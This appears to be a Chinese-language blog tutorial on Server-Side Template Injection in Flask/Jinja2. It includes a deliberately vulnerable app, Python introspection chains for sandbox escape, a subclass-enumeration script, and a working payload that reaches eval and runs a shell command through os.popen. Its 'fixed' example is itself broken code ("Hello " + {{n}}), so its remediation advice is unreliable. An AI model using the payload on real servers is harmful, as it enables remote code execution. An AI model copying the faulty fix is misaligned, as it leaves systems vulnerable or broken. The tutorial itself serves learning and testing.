本文最后更新于:2020 , 一月 29日 星期三, 10:55 晚上
简介
SSTI
(Server-Side Template Injection):服务端模板注入,服务器模板中拼接了恶意用户输入导致各种漏洞
通过模板,web应用可以把输入转换成特定的HTML文件或email格式
Jinja2
:Flask作者开发的模板系统,存在三种分隔符语法从HTML转义
{ % ... % }
:控制结构{ { ... } }
:变量取值,表达式打印到模板输出(是一种特殊的占位符){ # ... # }
:注释
实战测试
漏洞代码:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest') # 获取参数
t = Template("Hello " + name) # name可控
return t.render()
if __name__ == "__main__":
app.run()
正常访问
payload测试
Ps:该情况为开发编码不当直接使用了变量进行拼接
修正则不存在模板注入:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest') # 获取参数
t = Template("Hello " + {{n}})
return t.render(n=name)
if __name__ == "__main__":
app.run()
执行代码
官方:需要在模板环境中注册函数才能在模板中进行调用
如:python要执行系统命令需要os模块,想要在模板中直接调用内置模块os,即需要在模板中对其注册
在Jinja2中模板能够访问python内置变量并且可以调用对应变量类型,可以用Python沙盒逃逸方法
Python特性
:
__base__
:以元组返回一个基类__mro__
:以元组返回继承关系链(继承树)__class__
:返回调用的参数类型__globals__
:以字典返回函数所在模块命名空间中的所有变量__subclasses__()
:以列表返回类的子类__builtins__
:内建函数,可直接运行一些函数这些函数可在
__builtins__
中查看,dir(__builtins__)
思路:从内置变量调用__class__.__base__
例子:进行随意的拼接
().__class__.__bases__[0].__subclasses__()[50]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
查找引用的模块
# 返回子类的列表
>>> ''.__class__.__base__.__subclasses__()
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[103].__init__
<function IncrementalEncoder.__init__ at 0x000002B04AE0D840>
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可
直接写一个python脚本查更快
for i in range(0,115):
print(''.__class__.__base__.__subclasses__()[i].__init__)
print(i)
测试:whoami
payload:{ {''.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")} }
参考链接
https://www.cnblogs.com/leixiao-/p/10227867.html
https://www.cnblogs.com/hackxf/p/10480071.html